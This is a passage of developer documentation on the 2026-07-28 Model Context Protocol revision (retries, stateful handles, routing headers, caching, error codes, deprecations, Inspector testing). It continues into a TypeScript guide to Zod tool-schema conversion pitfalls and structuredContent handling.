      - The client answers with `inputResponses` on a **retry of the original request** - but *"the JSON-RPC `id` **MUST** be different between the initial request and the retry."* "Retry" means the same method and params, not the same envelope; a server correlating by request id will match the wrong thing.
      - `inputRequests` is a **keyed map**, not a list, and the keys are yours to choose. Each key **MUST** be unique over the lifetime of the interaction: reusing one after its response arrived breaks the client's cross-poll deduplication and makes `inputResponses` ambiguous. It also lets you safely ignore `inputResponses` for keys you no longer recognize.
      - Clients **MUST** treat results from earlier-protocol servers that omit `resultType` as `"complete"`.
      
      **`requestState`** is the sanctioned way to correlate an out-of-band interaction across retries. Because the client learns the outcome by retrying, the old server-initiated completion signal (`notifications/elicitation/complete`) and its `elicitationId` correlator were both removed; a server that needs to match a retry to an in-flight interaction encodes its own identifier in `requestState`.
      
      ## Stateful Tools: Handles Instead of Sessions
      
      With no protocol-level session, a server cannot rely on implicit per-connection state. The spec's (non-normative) answer: a creation tool returns an explicit handle that later tools accept as an ordinary argument.
      
      ```jsonc
      // -> tools/call  { "name": "create_basket", "arguments": {} }
      // <- result      { "structuredContent": { "basket_id": "bsk_a1b2c3" } }
      // -> tools/call  { "name": "add_item", "arguments": { "basket_id": "bsk_a1b2c3", "sku": "..." } }
      ```
      
      The model carries the handle forward. Four design rules:
      
      - **Authorization** - a handle is a name, not a capability. Validate the caller against it on *every* call. Unauthenticated servers make it a de facto bearer token: real entropy (UUIDv4), bounded lifetime.
      - **Opacity** - handles encoding internal structure invite parsing and guessing.
      - **Lifetime** - state the retention policy in the *creation tool's description* ("baskets expire after 24h of inactivity") so the model sees it when deciding to create state.
      - **Expiry errors** - a call against an expired or unknown handle returns a tool execution error saying so, so the model can recover by creating a new one.
      
      ## Standard Request Headers
      
      Streamable HTTP POSTs now require routing headers ([SEP-2243](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2243)), so intermediaries can route and authorize without parsing the body:
      
      | Header | Source field | Required for |
      |---|---|---|
      | `Mcp-Method` | `method` | All requests |
      | `Mcp-Name` | `params.name` or `params.uri` | `tools/call`, `resources/read`, `prompts/get` |
      
      ### `x-mcp-header`: mirroring tool parameters into headers
      
      A tool schema can mark individual parameters with `x-mcp-header`, and the client copies those argument values into request headers (`Mcp-Param-{name}`) so a gateway can route or authorize on them without parsing the body. Emitting it is optional for you; honoring it is not optional for the client:
      
      > While the use of `x-mcp-header` is optional for servers, clients **MUST** support this feature. [...] Clients using the Streamable HTTP transport **MUST** reject tool definitions where any `x-mcp-header` value violates these constraints. Rejection means the client **MUST** exclude the invalid tool from the result of `tools/list`.
      
      That last sentence is the trap: a malformed `x-mcp-header` does not degrade to "header not sent", it makes the **whole tool disappear** from the client's catalog, with no error you will see server-side.
      
      > Server developers **SHOULD NOT** mark sensitive parameters (passwords, API keys, tokens, PII) with `x-mcp-header`, as header values are visible to network intermediaries.
      
      Mirrored values are subject to the same base64 sentinel encoding as `Mcp-Name`, and to the same server-side cross-validation duty - decode, then confirm the header matches the body before acting on either.
      
      ### Base64 sentinel encoding
      
      An HTTP header cannot carry arbitrary bytes, so any `Mcp-Name` (or `Mcp-Param-*`) value that is not safe plain ASCII **MUST** be encoded:
      
      ```
      Mcp-Name: =?base64?{Base64EncodedValue}?=
      ```
      
      The `=?base64?` prefix and `?=` suffix are case-sensitive and must appear exactly (lowercase). Servers **MUST** decode before comparing the header to the request body during validation.
      
      | Original | Reason | Encoded |
      |---|---|---|
      | `us-west1` | plain ASCII | `us-west1` (unencoded) |
      | `Hello, 世界` | non-ASCII | `=?base64?SGVsbG8sIOS4lueVjA==?=` |
      | `" padded "` | leading/trailing spaces | `=?base64?IHBhZGRlZCA=?=` |
      | `line1\nline2` | newline | `=?base64?bGluZTEKbGluZTI=?=` |
      | `=?base64?literal?=` | matches the sentinel | `=?base64?PT9iYXNlNjQ/bGl0ZXJhbD89?=` |
      
      The last row is the subtle one: a plain-ASCII value that *looks* like the sentinel **MUST** also be encoded, to avoid ambiguity. If your tool names are all `[a-z0-9_]` you never hit this - but resource URIs and prompt names frequently do.
      
      ## Cacheable Results
      
      `ttlMs` and `cacheScope` are **required** on results from `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list` (plus `server/discover`), via a `CacheableResult` interface ([SEP-2549](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2549)).
      
      - `ttlMs` is a freshness hint in milliseconds. Servers **MUST** provide a value `>= 0`.
      - `0` means immediately stale; absent is treated as `0`; negative is ignored and treated as `0`.
      - `cacheScope` is `"public"` or `"private"` - whether shared intermediaries may cache it.
      
      These complement, rather than replace, `listChanged` notifications: a server **MAY** provide `ttlMs` without advertising `listChanged`, or do both.
      
      Servers **SHOULD** also return tools from `tools/list` in a **deterministic order** - it enables client-side caching and improves LLM prompt-cache hit rates. Sorting your tool list is a free token win.
      
      ## Error Code Allocation
      
      JSON-RPC reserves `-32000..-32099` for implementation-defined server errors. MCP now partitions it:
      
      | Range | Status |
      |---|---|
      | `-32000` to `-32019` | **Legacy.** New codes **MUST NOT** be allocated here, and new implementations **SHOULD NOT** use them at all. Apart from `-32002`, receivers **MUST NOT** assume any meaning |
      | `-32020` to `-32099` | **Reserved for the MCP specification.** Implementations **MUST NOT** emit any code here that the spec does not define |
      
      Codes defined by this revision:
      
      | Code | Name |
      |---|---|
      | `-32020` | `HeaderMismatch` (renumbered from `-32001`) |
      | `-32021` | `MissingRequiredClientCapability` (from `-32003`) |
      | `-32022` | `UnsupportedProtocolVersion` (from `-32004`) |
      
      Retired codes that implementations of this revision **MUST NOT** emit:
      
      - `-32002` - resource not found (replaced by `-32602`); clients **SHOULD** still accept it from older servers.
      - `-32042` - URL elicitation required (2025-11-25 only).
      
      **New application-defined codes SHOULD be allocated outside the JSON-RPC reserved range** (`-32768..-32000`) entirely. See the payment-error discussion in `error-handling.md` for a concrete case where a third-party draft collided with this policy.
      
      ### HTTP status is part of the contract now
      
      On a 2025-era wire nearly everything rides `200` with a JSON-RPC error in the body. The modern revision pins specific statuses to specific failures, so a server that answers `200` everywhere is non-conforming:
      
      | Failure | Status | JSON-RPC error |
      |---|---|---|
      | Method not implemented | **`404 Not Found`** | `-32601` |
      | Header/body value mismatch | **`400 Bad Request`** | `-32020` `HeaderMismatch` |
      | Client lacks a required capability | **`400 Bad Request`** | `-32021` `MissingRequiredClientCapability` |
      | Unsupported protocol version | - | `-32022` |
      
      > If the server does not implement the requested RPC method, it **MUST** respond with `404 Not Found` and a JSON-RPC error with code `-32601` (`Method not found`).
      
      The `404` is doing real work: it *"distinguishes this case from a `404` returned by a legacy HTTP+SSE server that does not host the modern MCP endpoint"*, which is how a client tells "wrong era" from "wrong method".
      
      `-32021` carries a machine-readable payload rather than prose - *"`MissingRequiredClientCapabilityError` (`-32021`) whose `data.requiredCapabilities` lists the missing capabilities"* - so populate `data.requiredCapabilities` with the extension identifiers you needed. That is what lets a client re-issue the request with the capability declared instead of surfacing a dead end.
      
      ## Deprecated in this revision
      
      Features that remain functional but are scheduled for removal under the [feature lifecycle](https://modelcontextprotocol.io/community/feature-lifecycle); the [deprecated registry](https://modelcontextprotocol.io/specification/2026-07-28/deprecated) tracks all of them with their actual dates.
      
      **The 12-month window is a default, not a guarantee.** Two things shorten it. A security escape hatch: *"The twelve-month floor may be shortened when the feature presents an active security risk ... The shortened window must still provide at least ninety days between the feature becoming Deprecated and its earliest removal."* And a per-feature schedule that can already be tighter - HTTP+SSE is listed for removal *"Three months after SEP-2596 reaches Final"*, not twelve. Read the registry for the feature you actually depend on rather than assuming a year of runway.
      
      | Feature | Suggested migration |
      |---|---|
      | **Roots** | Pass directories/files via tool parameters, resource URIs, or server config |
      | **Sampling** | Integrate directly with LLM provider APIs |
      | **Logging** | `stderr` (stdio) or OpenTelemetry |
      | **HTTP+SSE transport** | Streamable HTTP |
      | `includeContext: "thisServer"` / `"allServers"` | Omit the field or use `"none"` |
      | **OAuth 2.0 Dynamic Client Registration** | Client ID Metadata Documents (CIMD); DCR stays available for authorization servers that lack CIMD |
      
      ## Other Removals and Loosenings
      
      Beyond the deprecations above, this revision removes or relaxes several things outright:
      
      - **`ping`, `logging/setLevel`, and `notifications/roots/list_changed` are removed** ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)), alongside the HTTP GET stream and `resources/subscribe`/`unsubscribe`.
      - **SSE resumability is removed.** `Last-Event-ID` and SSE event IDs leave Streamable HTTP; a client MUST re-issue an interrupted request with a new ID. Don't build new replay/event-store infrastructure.
      - **`notifications/elicitation/complete` and URL-mode `elicitationId` are removed** - correlate out-of-band interactions across retries via `requestState` (see MRTR above).
      - **`execution.taskSupport` is gone** from the tool schema, along with core tasks; Tasks now live in the `io.modelcontextprotocol/tasks` extension ([SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663), [ext-tasks](https://github.com/modelcontextprotocol/ext-tasks)).
      - **Schemas loosen** to any JSON Schema 2020-12 keywords with `$ref` resolution, and `structuredContent` may be any JSON value ([SEP-2106](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2106)).
      - **OpenTelemetry trace context rides `_meta`** ([SEP-414](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/414)).
      - **Auth**: DCR is deprecated in favor of Client ID Metadata Documents ([PR #2858](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2858)); clients MUST validate a present `iss` ([SEP-2468](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2468)), key credentials by issuer ([SEP-2352](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2352)), and declare an OIDC `application_type` ([SEP-837](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/837)). Scope accumulation is now a client-side responsibility - see `security-auth.md`.
      
      **Ecosystem gate**: a Standards-Track SEP can no longer reach Final without a matching scenario in the [conformance suite](https://github.com/modelcontextprotocol/conformance) (SEP-2484).
      
      ## Testing Against Each Era
      
      The [MCP Inspector](https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector) ships as **three clients behind one binary** (`@modelcontextprotocol/inspector`, Node 22.19.0+), all on a shared core - same transports, same config files, same OAuth state on disk, same era negotiation:
      
      | Client | Invocation |
      |---|---|
      | Web | `npx @modelcontextprotocol/inspector` |
      | CLI | `npx @modelcontextprotocol/inspector --cli` (scriptable, for CI and coding agents) |
      | TUI | `npx @modelcontextprotocol/inspector --tui` |
      
      **The footgun: the Inspector connects as `legacy` by default.** Era is a first-class per-server setting (`protocolEra`), orthogonal to transport - the same HTTP URL can be inspected as legacy or modern:
      
      | `protocolEra` | At connect |
      |---|---|
      | `legacy` | **Default.** Plain `initialize`, no probing at all |
      | `auto` | Probe `server/discover`, fall back to `initialize` on any non-modern outcome |
      | `modern` | Pin exactly `2026-07-28`. No fallback - a non-modern server fails loudly |
      
      So if you build a 2026-07-28 server, point the Inspector at it, and see an `initialize` handshake, **your server isn't broken - the Inspector is doing what you told it**. Set `protocolEra` in Server Settings (web) or in the catalog/config file (CLI and TUI read the same field).
      
      This default is deliberate, not an oversight:
      
      > A debugging tool must not auto-probe. A `server/discover` probe stalls against silent legacy stdio servers, and it pollutes the recorded transcript you came here to read.
      
      Once connected, the negotiated era shows in the connection header and Connection Info; on a modern connection `server/discover` supplies `capabilities` (including `extensions`), `instructions`, and `supportedVersions`, with name/version arriving in result `_meta` under `io.modelcontextprotocol/serverInfo`.
      
      The Inspector repo also ships **composable test servers** for reproducing each era locally - useful for checking your client-side handling without standing up a real server:
      
      ```bash
      git clone https://github.com/modelcontextprotocol/inspector
      cd inspector && npm install && npm run build
      cd clients/web && npm run test-servers:build
      ```
      
      The era docs walk per-feature differences (logging, resource subscriptions, tasks, MRTR, mirrored headers, the error taxonomy, sessions) with a reproduction config for each.
      
      Since **2.4.0** the Inspector also lints for portability, flagging tool schemas that will fail on stricter clients (all three clients share the check) - the cheapest way to catch the v1 draft-07 dialect problem in `sdk-bugs.md` before a user does.
      
      After the Inspector, run the [conformance suite](https://github.com/modelcontextprotocol/conformance) - a runnable CLI, not just a spec-process gate: `npx @modelcontextprotocol/conformance server --url http://localhost:3000/mcp` (`--spec-version` filters by revision). The same suite scores SDKs for the [tier system](https://modelcontextprotocol.io/community/sdk-tiers) (T1: TypeScript, Python, C#, Go, **Rust** - promoted from T2 on 2026-08-21; T2: Java, Ruby; T3: Swift, PHP, Kotlin) - worth checking before you commit to a non-TypeScript SDK. Note that tier no longer tracks spec progress the way it once did: *"SDK implementations are not required for a SEP to become `final`"*, so a Final SEP may have no implementation anywhere yet.
      
      ## Direction: The Roadmap and Active Working Groups
      
      The Core Maintainers published a [roadmap](https://modelcontextprotocol.io/development/roadmap) on 2026-08-22 covering *"the coming six to twelve months"*. Five items in it target things this skill currently documents as permanent, so they are the best available signal on what not to over-invest in:
      
      | Roadmap item | Why it matters here |
      |---|---|
      | **Tool result shape** - *"Redesign the `tools/call` interface to resolve fidelity disparities among return types and streamline the handling of structured and unstructured output."* | This is the `content` vs `structuredContent` footgun in `SKILL.md`, scheduled for a real fix. Keep the mirroring workaround, but do not build elaborate machinery on top of it. |
      | **Progressive discovery** - *"Clients learn a server's tools and resources as they need them instead of ingesting the full catalog up front, with a defined interaction with the caching work"* | Token-bloat strategy #5 becomes a protocol mechanism instead of a per-server `?tools=` convention. |
      | **HTTP over stdio** - *"Streamable HTTP as the single binding, spoken over stdin/stdout for local servers ... HTTP/2 over stdio"* | The stdio-vs-HTTP transport split in the decision table is not permanent. Code written against the HTTP shape ages better. |
      | **ETag caching** - *"we want to extend our caching approach to support ETags, which should allow versioning the results of primitives, in particular tool calls."* | `ttlMs`/`cacheScope` today; per-result validators later. |
      | **Content annotations** - *"most implementers haven't adopted these annotations and may not be aware of their purpose. If they aren't useful, we should consider deprecating them."* | `audience` and `priority` on content blocks are deprecation candidates. Don't make them load-bearing. |
      
      **Charters, not contracts.** None of the below has a final SEP or wire format. They are listed because each one signals where a gap you may be papering over today is likely to get a standard.
      
      | WG | What it targets | Why it matters to a server author |
      |---|---|---|
      | [File Uploads](https://modelcontextprotocol.io/community/working-groups/file-uploads) | Schema-level declaration of file inputs for tools and elicitation ([SEP-2356](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2356)) | Today servers "resort to prose instructions asking for base64 strings or local paths." If you need file input, keep your scheme swappable |
      | [Interceptors](https://modelcontextprotocol.io/community/working-groups/interceptors) | Validators and mutators as a new primitive, across in-process / sidecar / remote deployments | Aimed squarely at the "sprawling landscape of sidecars, proxies, and gateways." Relevant if you build or run an MCP proxy |
      | [Triggers and Events](https://modelcontextprotocol.io/community/working-groups/triggers-events) | Server-push notification callbacks (webhooks or similar) with ordering guarantees | Would replace polling and held-open streams - worth knowing before building elaborate notification plumbing |
      | [Agents](https://modelcontextprotocol.io/community/working-groups/agents) | Stewards Tasks as the foundation for durable async execution | Decides whether Tasks evolves, gains a complementary Agents Extension, or stays convention |
      | [Skills Over MCP](https://modelcontextprotocol.io/community/working-groups/skills-over-mcp) | Agent skills discovered and distributed through MCP ([SEP-2640](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640), Resources-based, Extensions Track) | A possible future server-side primitive for shipping instructions, not just tools |
      | [Server Card](https://modelcontextprotocol.io/community/working-groups/server-card) | Server self-description at `GET <streamable-http-url>/server-card` | Discovery and cataloging; [experimental repo](https://github.com/modelcontextprotocol/experimental-ext-server-card), catalog at `.well-known/mcp/catalog.json`, SEP-2127 still Draft |
      
      Chartered since the roadmap and owning the items in the table above: **Core Primitives** (tool result shape, progressive discovery), **Transports** (HTTP over stdio), **Agent Identity** (DPoP - see `security-auth.md`), **Filesystems**, and **Apps**. Also active: [Registry](https://modelcontextprotocol.io/community/working-groups/registry), [SDK](https://modelcontextprotocol.io/community/working-groups/sdk), and [Inspector v2](https://modelcontextprotocol.io/community/working-groups/inspector-v2) (the last of which produced the three-client Inspector above), plus six Interest Groups (Enterprise, Enterprise-Managed Auth, Financial Services, Primitive Grouping, Security, Tool Annotations).
      
      ## Sources
      
      - [Key Changes changelog](https://modelcontextprotocol.io/specification/2026-07-28/changelog)
      - [Release announcement](https://blog.modelcontextprotocol.io/posts/2026-07-28/)
      - [Streamable HTTP transport](https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/streamable-http)
      - [Subscriptions](https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/subscriptions)
      - [MRTR](https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/mrtr)
      - [Caching](https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/caching)
      - [Inspector: protocol eras](https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/protocol-eras) and [configuration](https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector/configuration)
      - [Working group charters](https://modelcontextprotocol.io/community/working-groups)
      
    • tool-schema-guide.md 28.5 KB
      # Tool Schema Guide
      
      Complete Zod-to-JSON-Schema conversion rules, known breakage, outputSchema, and structuredContent patterns.
      
      ## Table of Contents
      - [Zod Schema Conversion](#zod-schema-conversion)
      - [What Works](#what-works)
      - [What Breaks](#what-breaks)
      - [outputSchema and structuredContent](#outputschema-and-structuredcontent)
      - [Non-Text Content Types](#non-text-content-types)
      - [Other Tool-Definition Fields](#other-tool-definition-fields)
      - [Tool Design Patterns](#tool-design-patterns)
      - [Other Server Primitives](#other-server-primitives)
      
      ## Zod Schema Conversion
      
      ### v1 Path (current stable)
      
      The SDK's `normalizeObjectSchema()` gates Zod schemas through `toJsonSchemaCompat()`. Only `z.object()` shapes pass through correctly.
      
      **Flow**: `z.object({...})` -> `zodToJsonSchema()` -> JSON Schema object with `type: "object"` and `properties`.
      
      Key constraint: The MCP protocol requires `Tool.inputSchema` to have `type: "object"` at the top level. Any Zod type that doesn't produce this is silently dropped or produces an empty schema.
      
      ### v2 Path (current, 2.0.0)
      
      v2 uses Standard Schema interfaces (`StandardSchemaWithJSON`). The conversion delegates to the schema library's native `toJSONSchema()`. Zod v4's native `z.toJSONSchema()` produces correct JSON Schema 2020-12 output.
      
      The `type: "object"` top-level requirement still applies, but v2's converter handles the union case rather than silently emptying it: Zod's discriminated unions "emit `{oneOf: [...]}` without a top-level `type`, so for `io: 'input'` this function defaults `type` to `\"object\"` when absent and throws on an explicit non-object `type`". A `z.string()` at the top level is a hard error, not a silent empty schema.
      
      **Zod version guardrails in v2** - both surface at registration, not at call time:
      
      - A Zod 3 schema is a hard error: *"Schema appears to be from zod 3, which the SDK cannot convert to JSON Schema. Upgrade to zod >=4.2.0, or wrap your JSON Schema with fromJsonSchema()."*
      - Below zod 4.2.0 you get a warning and a slower path: *"[mcp-sdk] Your zod version does not implement `~standard.jsonSchema` (added in zod 4.2.0). Falling back to z.toJSONSchema()."*
      
      **Raw JSON Schema in v2**: use the exported `fromJsonSchema()` wrapper - `fromJsonSchema<T>(schema, validator?): StandardSchemaWithJSON<T, T>`. This is v2's answer to the v1 registration throw (#1596), and it is how you use TypeBox or a hand-written schema.
      
      Since 2.0.0 the default validator also honors **declared draft-07 and 2019-09 dialects**, so `zod-to-json-schema` output (stamped draft-07 by default) validates instead of being rejected. Schemas with no `$schema` are still treated as 2020-12.
      
      ## What Works
      
      ### Primitives and Simple Types
      
      ```typescript
      z.string()                          // { "type": "string" }
      z.number()                          // { "type": "number" }
      z.boolean()                         // { "type": "boolean" }
      z.literal("active")                 // { "const": "active" }
      z.enum(["asc", "desc"])             // { "enum": ["asc", "desc"] }
      z.string().optional()               // adds to JSON Schema without "required"
      z.string().default("hello")         // { "type": "string", "default": "hello" }
      z.string().describe("Search query") // { "type": "string", "description": "Search query" }
      ```
      
      ### Objects and Arrays
      
      ```typescript
      // Top-level object - the only safe top-level type
      z.object({
        query: z.string().describe("Search query"),
        limit: z.number().optional().describe("Max results"),
      })
      
      // Nested objects
      z.object({
        user: z.object({
          name: z.string(),
          age: z.number(),
        }),
      })
      
      // Arrays
      z.object({
        ids: z.array(z.string()).describe("List of IDs"),
      })
      
      // Enum discriminator (safe alternative to discriminatedUnion)
      z.object({
        type: z.enum(["user", "org"]).describe("Entity type"),
        name: z.string().describe("Entity name"),
      })
      ```
      
      ### Descriptions (.describe())
      
      **Always use `.describe()` on every field.** This is the primary mechanism LLMs use for argument generation. The SDK converts `.describe()` to JSON Schema `description` fields.
      
      ```typescript
      // DO: Every field described
      z.object({
        query: z.string().describe("Search query - supports boolean operators (AND, OR, NOT)"),
        since: z.string().optional().describe("ISO date string, e.g. 2026-01-01"),
        max_results: z.number().optional().describe("1-100, default 20"),
      })
      
      // DON'T: Missing descriptions
      z.object({
        query: z.string(),
        since: z.string().optional(),
        max_results: z.number().optional(),
      })
      ```
      
      ## What Breaks
      
      ### z.union() and z.discriminatedUnion() - Silently Dropped ([#1643](https://github.com/modelcontextprotocol/typescript-sdk/issues/1643))
      
      **Severity**: High. The schema silently becomes `{ type: "object", properties: {} }` - the tool accepts any input.
      
      **Fix status**: Resolved in the v2 line ([PR #1796](https://github.com/modelcontextprotocol/typescript-sdk/pull/1796), merged 2026-03-30). The v1.x backport ([PR #2017](https://github.com/modelcontextprotocol/typescript-sdk/pull/2017)) is **still open**, so the bug is present on every released v1 - **including v1.30.0**, which still routes tool schemas through `normalizeObjectSchema()`. The flat-object workaround below remains required on v1; migrating to v2 is the real fix.
      
      ```typescript
      // BROKEN: Produces empty schema in v1
      z.discriminatedUnion("type", [
        z.object({ type: z.literal("search"), query: z.string() }),
        z.object({ type: z.literal("fetch"), id: z.string() }),
      ])
      
      // FIX: Flatten to single object with enum discriminator
      z.object({
        type: z.enum(["search", "fetch"]).describe("Operation type"),
        query: z.string().optional().describe("Required for type=search"),
        id: z.string().optional().describe("Required for type=fetch"),
      })
      ```
      
      ### z.transform() - Stripped During Conversion ([#702](https://github.com/modelcontextprotocol/typescript-sdk/issues/702))
      
      JSON Schema cannot represent runtime transformations. The transform is silently removed.
      
      ```typescript
      // BROKEN: Transform lost - union resolves incorrectly
      z.union([z.array(z.string()), z.string()])
        .transform((val) => Array.isArray(val) ? val : [val])
      
      // FIX: Accept the final type directly
      z.array(z.string()).describe("List of values")
      ```
      
      ### Plain JSON Schema Objects - Silent Drop Before v1.28 ([#1596](https://github.com/modelcontextprotocol/typescript-sdk/issues/1596))
      
      Before v1.28.0, passing a raw JSON Schema object (not a Zod schema) was silently accepted but produced `{ type: "object", properties: {} }`. Fixed in v1.28 - now throws at registration time.
      
      ```typescript
      // BROKEN in v1.27 (silently empty), ERROR in v1.28+ (throws)
      server.tool("my-tool", "desc", {
        type: "object",
        properties: { query: { type: "string" } },
      }, handler);
      
      // FIX (v1): Use Zod
      server.tool("my-tool", "desc", {
        query: z.string().describe("Search query"),
      }, handler);
      ```
      
      **On v2**, raw JSON Schema is supported again via the `fromJsonSchema()` wrapper - see "v2 Path" above.
      
      A related v1 trap that does *not* throw: passing raw JSON Schema `properties` to `McpServer.tool()` on an older v1 makes **every argument arrive as `undefined`** at the handler rather than erroring - the SDK tries to validate incoming args against the raw JSON objects, fails, and hands you nothing. For pass-through proxies that must forward schemas verbatim, use the lower-level `Server` class with raw request handlers instead of `McpServer`.
      
      ### A Raw Shape Skips refine/superRefine/transform ([#2705](https://github.com/modelcontextprotocol/typescript-sdk/issues/2705))
      
      **Severity: High, and fail-open.** Passing a raw shape where a `z.object()` is expected validates against the shape only:
      
      > `registerTool(name, { inputSchema: <zod object> })` validates against the **raw shape only**; `refine` / `superRefine` / `transform` constraints never run. A payload rejected by `schema.safeParse` passes the server gate - a fail-open validation gap for tools whose security-critical constraints are expressed via refine/superRefine.
      
      Cross-field rules (`.refine(d => d.start < d.end)`), conditional requirements, and custom `superRefine` issues are exactly where authorization and safety logic tends to live, so this is not a cosmetic gap.
      
      ```typescript
      // RISKY: the refine never runs at the server boundary
      const schema = z.object({ start: z.string(), end: z.string() })
        .refine((d) => d.start < d.end, "start must precede end");
      
      // FIX: re-validate inside the handler for anything security-critical
      async ({ start, end }) => {
        const parsed = schema.safeParse({ start, end });
        if (!parsed.success) {
          return { isError: true, content: [{ type: "text", text: parsed.error.issues[0].message }] };
        }
        // ...
      }
      ```
      
      ### zod 3 -> 4 Silently Drops `additionalProperties: false` ([#2636](https://github.com/modelcontextprotocol/typescript-sdk/issues/2636))
      
      Upgrading Zod under an unchanged SDK changes what your server publishes:
      
      > We upgraded zod from v3 to v4. After the upgrade, all input schemas are missing `additionalProperties: false` in the `tools/list` response.
      
      Nothing errors; your strict input schemas quietly become open ones, and the LLM can start passing unmodeled arguments. **Assert on the published `tools/list` JSON, not on the Zod source** - a Zod-level test cannot see this. Open as of `sdk@1.30.0`; reproduced against zod 3.25.76 (emits it) versus zod 4.5.4 (does not).
      
      ### z.passthrough() - Allows Arbitrary Properties
      
      `z.passthrough()` on object schemas produces JSON Schema without `additionalProperties: false`, allowing the LLM to send any extra fields. This can cause unexpected behavior.
      
      ```typescript
      // RISKY: Accepts any extra fields
      z.object({ query: z.string() }).passthrough()
      
      // SAFE: Strict schema
      z.object({ query: z.string() }).strict()
      // or just don't add passthrough (default is strip)
      z.object({ query: z.string() })
      ```
      
      ### Zod v4 Compatibility ([#925](https://github.com/modelcontextprotocol/typescript-sdk/issues/925) - resolved)
      
      Earlier v1 releases (≤ v1.22.x) required Zod v3 internally and broke with Zod v4 (`w._parse is not a function`). Backwards-compatible Zod v4 support shipped in **v1.23.0-beta.0** and is now in stable v1; issue #925 closed 2025-11-21.
      
      **Rule today**: SDK v1.23+ accepts Zod v3 or v4. SDK v2.0.0 requires a [Standard Schema](https://standardschema.dev) library (Zod >=4.2.0 recommended, Valibot, ArkType) and ships the `fromJsonSchema` adapter for raw JSON Schema (e.g. TypeBox). Zod 3 is a hard error on v2.
      
      ### Duplicate SDK Installs from a Zod Peer Split
      
      A zod v3/v4 split across sibling packages installs **two copies of the SDK**, producing two structurally identical but nominally incompatible `Client`/`Server` types:
      
      > `@modelcontextprotocol/sdk` gets installed twice because [one dep] peers on zod@3 while [another] peers on zod@4. Two copies of `Client` with identical structure but different private field types.
      
      The symptom is a type error that reads like nonsense ("`Client` is not assignable to `Client`"). Check for duplicate resolutions (`npm ls @modelcontextprotocol/sdk`) **before** debugging the types. v2 mitigates the related runtime hazard - SDK error classes now brand-match across separately bundled copies via `Symbol.hasInstance`, with static `X.isInstance(value)` guards - but duplicate *type* identities are still a resolution problem you fix in the lockfile.
      
      ## outputSchema and structuredContent
      
      Added in spec 2025-06-18. Enables typed, machine-readable tool outputs.
      
      ### How They Work Together
      
      1. **Tool definition** includes `outputSchema` (JSON Schema or Zod schema)
      2. **Tool result** returns `structuredContent` (matching the schema) AND `content` (text fallback)
      3. **Client** validates `structuredContent` against `outputSchema`
      
      ### Pattern
      
      ```typescript
      server.registerTool("get_weather", {
        title: "Weather",
        description: "Get current weather for a city",
        inputSchema: z.object({
          city: z.string().describe("City name"),
        }),
        outputSchema: z.object({
          temperature: z.number().describe("Temperature in Celsius"),
          conditions: z.string().describe("Weather description"),
          humidity: z.number().describe("Humidity percentage"),
        }),
      }, async ({ city }) => {
        const weather = await fetchWeather(city);
        return {
          // structuredContent and content MUST carry identical bytes. Several clients
          // (Claude Code, Codex CLI, VS Code Copilot, Goose) drop the text block when
          // structuredContent is present, so a divergent text payload silently vanishes.
          structuredContent: weather,
          content: [{ type: "text", text: JSON.stringify(weather) }],
        };
      });
      ```
      
      ### Rules (spec normative)
      
      - If `outputSchema` is provided, server MUST return `structuredContent` conforming to it
      - Client SHOULD validate `structuredContent` against the schema
      - Server SHOULD also include serialized JSON in `content` for backward compatibility
      - "Soft contracts" - tools SHOULD produce schema-compliant outputs but the spec acknowledges AI-generated outputs may vary
      - **No precedence rule.** The spec never defines which field a client prefers when both `content` and `structuredContent` are present - left client-defined, which is why clients diverge; a clarification is in flight via SEP-1624 -> SEP-2200 (see SKILL.md "Tool Result Delivery: content vs structuredContent" for the empirical Claude Code 2.1.165 matrix, the cross-client table, and the maintainer confirmation). VS Code's maintainers frame `structuredContent` as PTC-only and not model-facing ([microsoft/vscode#290063](https://github.com/microsoft/vscode/issues/290063)); other clients disagree, so a portable server cannot rely on it either way.
      
      ### Token Reality (not a free channel)
      
      - Clients know output shape ahead of time - better context window management.
      - **But `structuredContent` is NOT a separate, cheaper channel to the model.** On shadowing clients (Claude Code, Codex CLI, VS Code Copilot, Goose) it is stringified into the model's `tool_result` content slot at the same token cost as the equivalent JSON-as-text, and the `content` text block is dropped. "Programmatic processing without LLM parsing" only holds for clients/flows (PTC, code-mode) that consume `structuredContent` outside the model context - not the default model-facing path.
      - Client-side field projection (showing only relevant fields to the LLM) is a client capability, not guaranteed by emitting `outputSchema`. Curate response size on the server; don't assume the client trims it.
      
      ### AJV Strict-Mode Rejects Unstripped Extras (high-impact gotcha)
      
      **Symptom**: Tool returns `structuredContent` built from upstream API data; the server logs nothing wrong; the SDK client throws "data must NOT have additional properties" or "has an output schema but did not return structured content."
      
      **Root cause**: Zod v4 `z.object()` produces JSON Schema with `additionalProperties: false`. The SDK's client (and some inspector tools) validate `structuredContent` against `outputSchema` using AJV in strict mode and reject any extra fields. Server-side, calling `outputSchema.parse(data)` strips extras silently and returns a clean object - but if you assign the original raw upstream data to `structuredContent` without parsing it through the schema, the server happily sends the unstripped object across the wire and the client rejects it.
      
      ```typescript
      // BROKEN: server.parse() result is computed but discarded
      const outputSchema = z.object({ id: z.string(), name: z.string() });
      const upstream = await fetchUser();  // returns { id, name, email, role, createdAt }
      outputSchema.parse(upstream);         // strips extras, but result is thrown away
      return {
        structuredContent: upstream,        // contains email/role/createdAt - client AJV rejects
        content: [{ type: "text", text: JSON.stringify(upstream) }],
      };
      
      // FIX 1: Use the parsed value
      const cleaned = outputSchema.parse(upstream);
      return {
        structuredContent: cleaned,
        content: [{ type: "text", text: JSON.stringify(cleaned) }],
      };
      
